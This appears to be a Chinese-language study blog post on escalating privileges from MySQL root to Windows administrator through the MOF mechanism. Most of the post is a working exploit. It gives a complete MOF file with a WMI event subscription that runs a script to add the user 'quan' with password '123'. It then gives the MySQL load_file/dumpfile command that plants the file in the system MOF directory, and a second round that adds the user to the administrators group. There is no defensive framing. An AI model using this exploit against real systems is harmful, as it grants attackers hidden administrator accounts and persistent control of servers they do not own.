mysql mof提权原理_Day3——提权学习之MySQL数据库（MOF提权）

0x00 原理

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件，每分钟都会在一个特定的时间去执行一次的特性，来写入我们的cmd命令使其被带入执行。

0x01 利用条件

具备Mysql的root权限

0x02 提权关键

导入nullevt.mof

0x03 提权步骤

1、生成 nullevt.mof文件,上传文件到可写目录

#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter

{

EventNamespace = “Root\\Cimv2”;

Name = “filtP2”;

Query = “Select * From __InstanceModificationEvent “

“Where TargetInstance Isa \”Win32_LocalTime\” “

“And TargetInstance.Second = 5”;

QueryLanguage = “WQL”;

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = “consPCSV2”;

ScriptingEngine = “JScript”;

ScriptText =

“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user quan 123 /add\”)“;

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

2、执行导入命令 把我们的提权命令将 nullevt.mof 导入到c:/windows/system32/wbem/mof/目录

select load_file(“G:/test/nullevt.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

导入后，系统会自动运行该文件。 3、将提权脚本中添加用户命令修改为提升至administrators组：net.exe localgroup administrators quan /add，再次上传并导入

为了更高的成功率，我们必须分开两次导入该脚本。 第一次为添加用户，第二次对添加的用户进行提权。

添加用户

net.exe user quan 123 /add

对添加的用户进行提权

net.exe localgroup administrators quan /add

4、net user查看用户

0x04 参考